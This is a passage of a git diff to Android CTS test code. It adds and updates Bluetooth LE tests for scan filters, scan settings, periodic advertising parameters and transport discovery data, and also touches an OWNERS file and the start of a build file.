      * Basic test case to get the list of connected Hearing Aid devices.
      */
     @MediumTest
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
index b9a93a1..62d1c6a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
@@ -19,7 +19,8 @@
 import android.bluetooth.BluetoothServerSocket;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
 
 import java.io.IOException;
 
@@ -35,6 +36,8 @@
         if (!TestUtils.isBleSupported(getContext())) {
             return;
         }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+            .adoptShellPermissionIdentity(android.Manifest.permission.BLUETOOTH_CONNECT);
         mAdapter = BluetoothAdapter.getDefaultAdapter();
         assertNotNull("BluetoothAdapter.getDefaultAdapter() returned null. "
                 + "Does this device have a Bluetooth adapter?", mAdapter);
@@ -48,8 +51,12 @@
         if (!TestUtils.isBleSupported(getContext())) {
             return;
         }
-        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
         mAdapter = null;
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+            .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/PeriodicAdvertisingParametersTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/PeriodicAdvertisingParametersTest.java
new file mode 100644
index 0000000..1a8c841
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/PeriodicAdvertisingParametersTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.bluetooth.le.PeriodicAdvertisingParameters;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PeriodicAdvertisingParametersTest {
+
+    // Values copied over from PeriodicAdvertisingParameters class.
+    private static final int INTERVAL_MIN = 80;
+    private static final int INTERVAL_MAX = 65519;
+
+    @Test
+    public void testCreateFromParcel() {
+        final Parcel parcel = Parcel.obtain();
+        try {
+            PeriodicAdvertisingParameters params =
+                    new PeriodicAdvertisingParameters.Builder().build();
+            params.writeToParcel(parcel, 0);
+            parcel.setDataPosition(0);
+            PeriodicAdvertisingParameters paramsFromParcel =
+                    PeriodicAdvertisingParameters.CREATOR.createFromParcel(parcel);
+            assertParamsEquals(params, paramsFromParcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    @Test
+    public void testDefaultParameters() {
+        PeriodicAdvertisingParameters params = new PeriodicAdvertisingParameters.Builder().build();
+        assertFalse(params.getIncludeTxPower());
+        assertEquals(INTERVAL_MAX, params.getInterval());
+    }
+
+    @Test
+    public void testIncludeTxPower() {
+        PeriodicAdvertisingParameters params =
+                new PeriodicAdvertisingParameters.Builder().setIncludeTxPower(true).build();
+        assertTrue(params.getIncludeTxPower());
+    }
+
+    @Test
+    public void testIntervalWithInvalidValues() {
+        int[] invalidValues = { INTERVAL_MIN - 1, INTERVAL_MAX + 1 };
+        for (int i = 0; i < invalidValues.length; i++) {
+            try {
+                new PeriodicAdvertisingParameters.Builder().setInterval(invalidValues[i]).build();
+                fail();
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testInterval() {
+        PeriodicAdvertisingParameters params =
+                new PeriodicAdvertisingParameters.Builder().setInterval(INTERVAL_MIN).build();
+        assertEquals(INTERVAL_MIN, params.getInterval());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        PeriodicAdvertisingParameters params = new PeriodicAdvertisingParameters.Builder().build();
+        assertEquals(0, params.describeContents());
+    }
+
+    private void assertParamsEquals(PeriodicAdvertisingParameters p,
+            PeriodicAdvertisingParameters other) {
+        if (p == null && other == null) {
+            return;
+        }
+
+        if (p == null || other == null) {
+            fail("Cannot compare null with non-null value: p=" + p + ", other=" + other);
+        }
+
+        assertEquals(p.getIncludeTxPower(), other.getIncludeTxPower());
+        assertEquals(p.getInterval(), other.getInterval());
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java
index df1bb16..4f5f42a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanFilterTest.java
@@ -39,6 +39,7 @@
     private static final String UUID1 = "0000110a-0000-1000-8000-00805f9b34fb";
     private static final String UUID2 = "0000110b-0000-1000-8000-00805f9b34fb";
     private static final String UUID3 = "0000110c-0000-1000-8000-00805f9b34fb";
+    private static final int AD_TYPE_RESOLVABLE_SET_IDENTIFIER = 0x2e;
 
     private ScanResult mScanResult;
     private ScanFilter.Builder mFilterBuilder;
@@ -54,6 +55,7 @@
                 0x05, (byte) 0xff, (byte) 0xe0, 0x00, 0x02, 0x15, // manufacturer specific data
                 0x05, 0x14, 0x0c, 0x11, 0x0a, 0x11, // 16 bit service solicitation uuids
                 0x03, 0x50, 0x01, 0x02, // an unknown data type won't cause trouble
+                0x07, 0x2E, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06 // resolvable set identifier
         };
 
         BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
@@ -211,6 +213,26 @@
     }
 
     @SmallTest
+    public void testSetAdvertisingDataTypeWithData() {
+        if (mFilterBuilder == null) return;
+        byte[] adData = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06};
+        byte[] adDataMask = {(byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
+                (byte) 0xFF};
+        ScanFilter filter = mFilterBuilder.setAdvertisingDataTypeWithData(
+                AD_TYPE_RESOLVABLE_SET_IDENTIFIER, adData, adDataMask).build();
+        assertEquals(AD_TYPE_RESOLVABLE_SET_IDENTIFIER, filter.getAdvertisingDataType());
+        TestUtils.assertArrayEquals(adData, filter.getAdvertisingData());
+        TestUtils.assertArrayEquals(adDataMask, filter.getAdvertisingDataMask());
+        assertTrue("advertising data filter fails", filter.matches(mScanResult));
+        filter = mFilterBuilder.setAdvertisingDataTypeWithData(0x01, adData, adDataMask).build();
+        assertFalse("advertising data filter fails", filter.matches(mScanResult));
+        byte[] nonMatchAdData = {0x01, 0x02, 0x04, 0x04, 0x05, 0x06};
+        filter = mFilterBuilder.setAdvertisingDataTypeWithData(AD_TYPE_RESOLVABLE_SET_IDENTIFIER,
+                nonMatchAdData, adDataMask).build();
+        assertFalse("advertising data filter fails", filter.matches(mScanResult));
+    }
+
+    @SmallTest
     public void testReadWriteParcel() {
         if (mFilterBuilder == null) return;
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java
index 0afd1ec..d192b26 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanRecordTest.java
@@ -72,5 +72,8 @@
                 0x50, 0x64 };
         TestUtils.assertArrayEquals(serviceData, data.getServiceData().get(uuid2));
         TestUtils.assertArrayEquals(serviceData, data.getServiceData(uuid2));
+
+        final byte[] adData = new byte[] {0x01, 0x02};
+        TestUtils.assertArrayEquals(adData, data.getAdvertisingDataMap().get(0x50));
     }
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanResultTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanResultTest.java
index f323712..71a61b9 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanResultTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanResultTest.java
@@ -72,4 +72,39 @@
                 TIMESTAMP_NANOS);
         assertEquals(0, result.describeContents());
     }
+
+    @SmallTest
+    public void testConstructor() {
+        if (!mContext.getPackageManager().
+                  hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) return;
+
+        BluetoothDevice device =
+                BluetoothAdapter.getDefaultAdapter().getRemoteDevice(DEVICE_ADDRESS);
+        int eventType = 0xAAAA;
+        int primaryPhy = 0xAAAB;
+        int secondaryPhy = 0xAABA;
+        int advertisingSid = 0xAABB;
+        int txPower = 0xABAA;
+        int rssi = 0xABAB;
+        int periodicAdvertisingInterval = 0xABBA;
+        long timestampNanos = 0xABBB;
+        ScanResult result = new ScanResult(device, eventType, primaryPhy, secondaryPhy,
+                advertisingSid, txPower, rssi, periodicAdvertisingInterval, null, timestampNanos);
+        assertEquals(result.getDevice(), device);
+        assertNull(result.getScanRecord());
+        assertEquals(result.getRssi(), rssi);
+        assertEquals(result.getTimestampNanos(), timestampNanos);
+        assertEquals(result.getDataStatus(), 0x01);
+        assertEquals(result.getPrimaryPhy(), primaryPhy);
+        assertEquals(result.getSecondaryPhy(), secondaryPhy);
+        assertEquals(result.getAdvertisingSid(), advertisingSid);
+        assertEquals(result.getTxPower(), txPower);
+        assertEquals(result.getPeriodicAdvertisingInterval(), periodicAdvertisingInterval);
+
+        // specific value of event type for isLegacy and isConnectable to be true
+        ScanResult result2 = new ScanResult(device, 0x11, primaryPhy, secondaryPhy,
+                advertisingSid, txPower, rssi, periodicAdvertisingInterval, null, timestampNanos);
+        assertTrue(result2.isLegacy());
+        assertTrue(result2.isConnectable());
+    }
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanSettingsTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanSettingsTest.java
index 7033c3c..a1b928f 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/ScanSettingsTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/ScanSettingsTest.java
@@ -16,6 +16,8 @@
 
 package android.bluetooth.cts;
 
+import static org.junit.Assert.assertThrows;
+
 import android.bluetooth.le.ScanSettings;
 import android.os.Parcel;
 import android.test.AndroidTestCase;
@@ -33,9 +35,81 @@
         assertEquals(ScanSettings.SCAN_MODE_LOW_POWER, settings.getScanMode());
         assertEquals(0, settings.getScanResultType());
         assertEquals(0, settings.getReportDelayMillis());
+        assertEquals(true, settings.getLegacy());
+        assertEquals(ScanSettings.PHY_LE_ALL_SUPPORTED, settings.getPhy());
     }
 
     @SmallTest
+    public void testBuilderSettings() {
+        ScanSettings.Builder builder = new ScanSettings.Builder();
+
+        // setScanMode boundary check
+        assertThrows("Check boundary of ScanSettings.Builder.setScanMode argument",
+                IllegalArgumentException.class,
+                () -> builder.setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC - 1));
+        assertThrows("Check boundary of ScanSettings.Builder.setScanMode argument",
+                IllegalArgumentException.class,
+                () -> builder.setScanMode(6)); // 6 = ScanSettings.SCAN_MODE_SCREEN_OFF_BALANCED + 1
+
+        // setCallbackType boundary check
+        assertThrows("Check boundary of ScanSettings.Builder.setCallbackType argument",
+                IllegalArgumentException.class,
+                () -> builder.setCallbackType(ScanSettings.CALLBACK_TYPE_ALL_MATCHES - 1));
+        assertThrows("Check boundary of ScanSettings.Builder.setCallbackType argument",
+                IllegalArgumentException.class,
+                () -> builder.setCallbackType(ScanSettings.CALLBACK_TYPE_MATCH_LOST + 1));
+
+        // setScanResultType boundary check
+        assertThrows("Check boundary of ScanSettings.Builder.setScanResultType argument",
+                IllegalArgumentException.class,
+                () -> builder.setScanResultType(ScanSettings.SCAN_RESULT_TYPE_FULL - 1));
+        assertThrows("Check boundary of ScanSettings.Builder.setScanResultType argument",
+                IllegalArgumentException.class,
+                () -> builder.setScanResultType(ScanSettings.SCAN_RESULT_TYPE_ABBREVIATED + 1));
+
+        assertThrows("Check boundary of ScanSettings.Builder.setReportDelay argument",
+                IllegalArgumentException.class,
+                () -> builder.setReportDelay(-1));
+
+        // setNumOfMatches boundary check
+        assertThrows("Check boundary of ScanSettings.Builder.setNumOfMatches argument",
+                IllegalArgumentException.class,
+                () -> builder.setNumOfMatches(ScanSettings.MATCH_NUM_ONE_ADVERTISEMENT - 1));
+        assertThrows("Check boundary of ScanSettings.Builder.setNumOfMatches argument",
+                IllegalArgumentException.class,
+                () -> builder.setNumOfMatches(ScanSettings.MATCH_NUM_MAX_ADVERTISEMENT + 1));
+
+        // setMatchMode boundary check
+        assertThrows("Check boundary of ScanSettings.Builder.setMatchMode argument",
+                IllegalArgumentException.class,
+                () -> builder.setMatchMode(ScanSettings.MATCH_MODE_AGGRESSIVE - 1));
+        assertThrows("Check boundary of ScanSettings.Builder.setMatchMode argument",
+                IllegalArgumentException.class,
+                () -> builder.setMatchMode(ScanSettings.MATCH_MODE_STICKY + 1));
+
+        int cbType = ScanSettings.CALLBACK_TYPE_MATCH_LOST | ScanSettings.CALLBACK_TYPE_FIRST_MATCH;
+
+        ScanSettings settings = builder
+            .setScanMode(ScanSettings.SCAN_MODE_BALANCED)
+            .setCallbackType(cbType)
+            .setScanResultType(ScanSettings.SCAN_RESULT_TYPE_ABBREVIATED)
+            .setReportDelay(0xDEAD)
+            .setNumOfMatches(ScanSettings.MATCH_NUM_FEW_ADVERTISEMENT)
+            .setMatchMode(ScanSettings.MATCH_MODE_STICKY)
+            .setLegacy(false)
+            .setPhy(0xCAFE)
+            .build();
+
+        assertEquals(ScanSettings.SCAN_MODE_BALANCED, settings.getScanMode());
+        assertEquals(cbType, settings.getCallbackType());
+        assertEquals(ScanSettings.SCAN_RESULT_TYPE_ABBREVIATED, settings.getScanResultType());
+        assertEquals(0xDEAD, settings.getReportDelayMillis());
+        assertEquals(false, settings.getLegacy());
+        assertEquals(0xCAFE, settings.getPhy());
+    }
+
+
+    @SmallTest
     public void testDescribeContents() {
         ScanSettings settings = new ScanSettings.Builder().build();
         assertEquals(0, settings.describeContents());
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java b/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
index 7c4c454..f3527fa 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
@@ -16,30 +16,143 @@
 
 package android.bluetooth.cts;
 
+import static org.junit.Assert.assertNotNull;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
 import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
 import android.bluetooth.le.ScanRecord;
-import android.content.BroadcastReceiver;
 import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.provider.Settings;
+import android.sysprop.BluetoothProperties;
 import android.util.Log;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+
 import junit.framework.Assert;
 
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
 
 /**
  * Utility class for Bluetooth CTS test.
  */
 class TestUtils {
     /**
+     * Bluetooth package name
+     */
+    static final String BLUETOOTH_PACKAGE_NAME = "com.android.bluetooth";
+
+    /**
+     * Checks whether this device has Bluetooth feature
+     * @return true if this device has Bluetooth feature
+     */
+    static boolean hasBluetooth() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        return context.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+    }
+
+    /**
+     * Get the current enabled status of a given profile
+     */
+    static boolean isProfileEnabled(int profile) {
+        switch (profile) {
+            case BluetoothProfile.A2DP:
+                return BluetoothProperties.isProfileA2dpSourceEnabled().orElse(false);
+            case BluetoothProfile.A2DP_SINK:
+                return BluetoothProperties.isProfileA2dpSinkEnabled().orElse(false);
+            // Hidden profile
+            // case BluetoothProfile.AVRCP:
+            //     return BluetoothProperties.isProfileAvrcpTargetEnabled().orElse(false);
+            case BluetoothProfile.AVRCP_CONTROLLER:
+                return BluetoothProperties.isProfileAvrcpControllerEnabled().orElse(false);
+            case BluetoothProfile.CSIP_SET_COORDINATOR:
+                return BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false);
+            case BluetoothProfile.GATT:
+                return BluetoothProperties.isProfileGattEnabled().orElse(true);
+            case BluetoothProfile.HAP_CLIENT:
+                return BluetoothProperties.isProfileHapClientEnabled().orElse(false);
+            case BluetoothProfile.HEADSET:
+                return BluetoothProperties.isProfileHfpAgEnabled().orElse(false);
+            case BluetoothProfile.HEADSET_CLIENT:
+                return BluetoothProperties.isProfileHfpHfEnabled().orElse(false);
+            case BluetoothProfile.HEARING_AID:
+                return BluetoothProperties.isProfileAshaCentralEnabled().orElse(false);
+            case BluetoothProfile.HID_DEVICE:
+                return BluetoothProperties.isProfileHidDeviceEnabled().orElse(false);
+            case BluetoothProfile.HID_HOST:
+                return BluetoothProperties.isProfileHidHostEnabled().orElse(false);
+            case BluetoothProfile.LE_AUDIO:
+                return BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false);
+            case BluetoothProfile.LE_AUDIO_BROADCAST:
+                return BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false);
+            case BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT:
+                return BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false);
+            // Hidden profile
+            // case BluetoothProfile.LE_CALL_CONTROL:
+            //     return BluetoothProperties.isProfileCcpServerEnabled().orElse(false);
+            case BluetoothProfile.MAP:
+                return BluetoothProperties.isProfileMapServerEnabled().orElse(false);
+            case BluetoothProfile.MAP_CLIENT:
+                return BluetoothProperties.isProfileMapClientEnabled().orElse(false);
+            // Hidden profile
+            // case BluetoothProfile.MCP_SERVER:
+            //     return BluetoothProperties.isProfileMcpServerEnabled().orElse(false);
+            case BluetoothProfile.OPP:
+                return BluetoothProperties.isProfileOppEnabled().orElse(false);
+            case BluetoothProfile.PAN:
+                return BluetoothProperties.isProfilePanNapEnabled().orElse(false)
+                        || BluetoothProperties.isProfilePanPanuEnabled().orElse(false);
+            case BluetoothProfile.PBAP:
+                return BluetoothProperties.isProfilePbapServerEnabled().orElse(false);
+            case BluetoothProfile.PBAP_CLIENT:
+                return BluetoothProperties.isProfilePbapClientEnabled().orElse(false);
+            case BluetoothProfile.SAP:
+                return BluetoothProperties.isProfileSapServerEnabled().orElse(false);
+            case BluetoothProfile.VOLUME_CONTROL:
+                return BluetoothProperties.isProfileVcpControllerEnabled().orElse(false);
+            default:
+                return false;
+        }
+    }
+
+    /**
+     * Adopt shell UID's permission via {@link android.app.UiAutomation}
+     * @param permission permission to adopt
+     */
+    static void adoptPermissionAsShellUid(@Nullable String... permission) {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(permission);
+    }
+
+    /**
+     * Drop all permissions adopted as shell UID
+     */
+    static void dropPermissionAsShellUid() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Get {@link BluetoothAdapter} via {@link android.bluetooth.BluetoothManager}
+     * Fail the test if {@link BluetoothAdapter} is null
+     * @return instance of {@link BluetoothAdapter}
+     */
+    @NonNull static BluetoothAdapter getBluetoothAdapterOrDie() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        BluetoothManager manager = context.getSystemService(BluetoothManager.class);
+        assertNotNull(manager);
+        BluetoothAdapter adapter = manager.getAdapter();
+        assertNotNull(adapter);
+        return adapter;
+    }
+
+    /**
      * Utility method to call hidden ScanRecord.parseFromBytes method.
      */
     static ScanRecord parseScanRecord(byte[] bytes) {
@@ -120,4 +233,4 @@
             Log.e(TestUtils.class.getSimpleName(), "interrupted", e);
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/TransportBlockTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/TransportBlockTest.java
new file mode 100644
index 0000000..d5841c7
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/TransportBlockTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.le.TransportBlock;
+import android.os.Parcel;
+import android.os.ParcelUuid;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Unit test cases for {@link TransportBlock}.
+ * <p>
+ * To run the test, use adb shell am instrument -e class 'android.bluetooth.le.TransportBlockTest' -w
+ * 'com.android.bluetooth.tests/android.bluetooth.BluetoothTestRunner'
+ */
+public class TransportBlockTest extends AndroidTestCase {
+
+    @SmallTest
+    public void testInit() {
+        Parcel parcel = Parcel.obtain();
+        TransportBlock data = new TransportBlock(1, 0, 2, new byte[] {
+                (byte) 0xF0, 0x00 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportBlock dataFromParcel =
+                TransportBlock.CREATOR.createFromParcel(parcel);
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testInitEmpty() {
+        Parcel parcel = Parcel.obtain();
+        TransportBlock data = new TransportBlock(1, 0, 0, null);
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportBlock dataFromParcel =
+                TransportBlock.CREATOR.createFromParcel(parcel);
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testTotalBytes() {
+        Parcel parcel = Parcel.obtain();
+        TransportBlock data = new TransportBlock(1, 0, 2, new byte[] {
+                (byte) 0xF0, 0x00 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportBlock dataFromParcel =
+                TransportBlock.CREATOR.createFromParcel(parcel);
+        assertEquals(data.totalBytes(), 5);
+        assertEquals(dataFromParcel.totalBytes(), 5);
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testGetValues() {
+        Parcel parcel = Parcel.obtain();
+        TransportBlock data = new TransportBlock(1, 3, 2, new byte[] {
+                (byte) 0xF0, 0x00 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportBlock dataFromParcel =
+                TransportBlock.CREATOR.createFromParcel(parcel);
+        assertEquals(data.getOrgId(), 1);
+        assertEquals(dataFromParcel.getOrgId(), 1);
+        assertEquals(data.getTdsFlags(), 3);
+        assertEquals(dataFromParcel.getTdsFlags(), 3);
+        assertEquals(data.getTransportDataLength(), 2);
+        assertEquals(dataFromParcel.getTransportDataLength(), 2);
+        TestUtils.assertArrayEquals(data.getTransportData(), dataFromParcel.getTransportData());
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testToByteArray() {
+        Parcel parcel = Parcel.obtain();
+        TransportBlock data = new TransportBlock(1, 0, 2, new byte[] {
+                (byte) 0xF0, 0x00 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportBlock dataFromParcel =
+                TransportBlock.CREATOR.createFromParcel(parcel);
+        TestUtils.assertArrayEquals(data.toByteArray(), dataFromParcel.toByteArray());
+        assertEquals(data, dataFromParcel);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/TransportDiscoveryDataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/TransportDiscoveryDataTest.java
new file mode 100644
index 0000000..1204fb2
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/TransportDiscoveryDataTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.le.TransportDiscoveryData;
+import android.bluetooth.le.TransportBlock;
+import android.os.Parcel;
+import android.os.ParcelUuid;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Unit test cases for {@link TransportDiscoveryData}.
+ * <p>
+ * To run the test, use adb shell am instrument -e class 'android.bluetooth.le.TransportDiscoveryDataTest' -w
+ * 'com.android.bluetooth.tests/android.bluetooth.BluetoothTestRunner'
+ */
+public class TransportDiscoveryDataTest extends AndroidTestCase {
+
+    @SmallTest
+    public void testInitList() {
+        Parcel parcel = Parcel.obtain();
+        List<TransportBlock> transportBlocks = new ArrayList();
+        transportBlocks.add(new TransportBlock(1, 0, 4, new byte[] {
+                (byte) 0xF0, 0x00, 0x02, 0x15 }));
+        TransportDiscoveryData data = new TransportDiscoveryData(1, transportBlocks);
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportDiscoveryData dataFromParcel =
+                TransportDiscoveryData.CREATOR.createFromParcel(parcel);
+        assertEquals(data, dataFromParcel);
+    }
+
+
+    @SmallTest
+    public void testInitByteArray() {
+        Parcel parcel = Parcel.obtain();
+        TransportDiscoveryData data = new TransportDiscoveryData(new byte[] {
+                0x01, 0x01, 0x00, 0x04, (byte) 0xF0, 0x00, 0x02, 0x15 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportDiscoveryData dataFromParcel =
+                TransportDiscoveryData.CREATOR.createFromParcel(parcel);
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testGetValues() {
+        Parcel parcel = Parcel.obtain();
+        TransportDiscoveryData data = new TransportDiscoveryData(new byte[] {
+                0x01, 0x01, 0x00, 0x04, (byte) 0xF0, 0x00, 0x02, 0x15 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportDiscoveryData dataFromParcel =
+                TransportDiscoveryData.CREATOR.createFromParcel(parcel);
+        assertEquals(data.getTransportBlocks().size(), 1);
+        assertEquals(dataFromParcel.getTransportBlocks().size(), 1);
+        assertEquals(data.getTransportBlocks().get(0), dataFromParcel.getTransportBlocks().get(0));
+        assertEquals(data.getTransportDataType(), 1);
+        assertEquals(dataFromParcel.getTransportDataType(), 1);
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testTotalBytes() {
+        Parcel parcel = Parcel.obtain();
+        TransportDiscoveryData data = new TransportDiscoveryData(new byte[] {
+                0x01, 0x01, 0x00, 0x04, (byte) 0xF0, 0x00, 0x02, 0x15 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportDiscoveryData dataFromParcel =
+                TransportDiscoveryData.CREATOR.createFromParcel(parcel);
+        assertEquals(data.totalBytes(), 8);
+        assertEquals(dataFromParcel.totalBytes(), 8);
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
+    public void testToByteArray() {
+        Parcel parcel = Parcel.obtain();
+        TransportDiscoveryData data = new TransportDiscoveryData(new byte[] {
+                0x01, 0x01, 0x00, 0x04, (byte) 0xF0, 0x00, 0x02, 0x15 });
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        TransportDiscoveryData dataFromParcel =
+                TransportDiscoveryData.CREATOR.createFromParcel(parcel);
+        TestUtils.assertArrayEquals(data.toByteArray(), dataFromParcel.toByteArray());
+        assertEquals(data, dataFromParcel);
+    }
+}
diff --git a/tests/tests/car/OWNERS b/tests/tests/car/OWNERS
index cdff026..bda2116 100644
--- a/tests/tests/car/OWNERS
+++ b/tests/tests/car/OWNERS
@@ -1,6 +1,2 @@
 # Bug component: 526266
-felipeal@google.com
-gurunagarajan@google.com
-keunyoung@google.com
-nicksauer@google.com
-sgurun@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 32b10e5..2c2e66f 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -37,9 +37,12 @@
         "android.test.base",
         "android.test.runner",
     ],
-    // This  APK must be signed to match the test SIM's cert whitelist.
-    // While "testkey" is the default, there are different per-device testkeys, so
-    // hard-code the AOSP default key to ensure it is used regardless of build
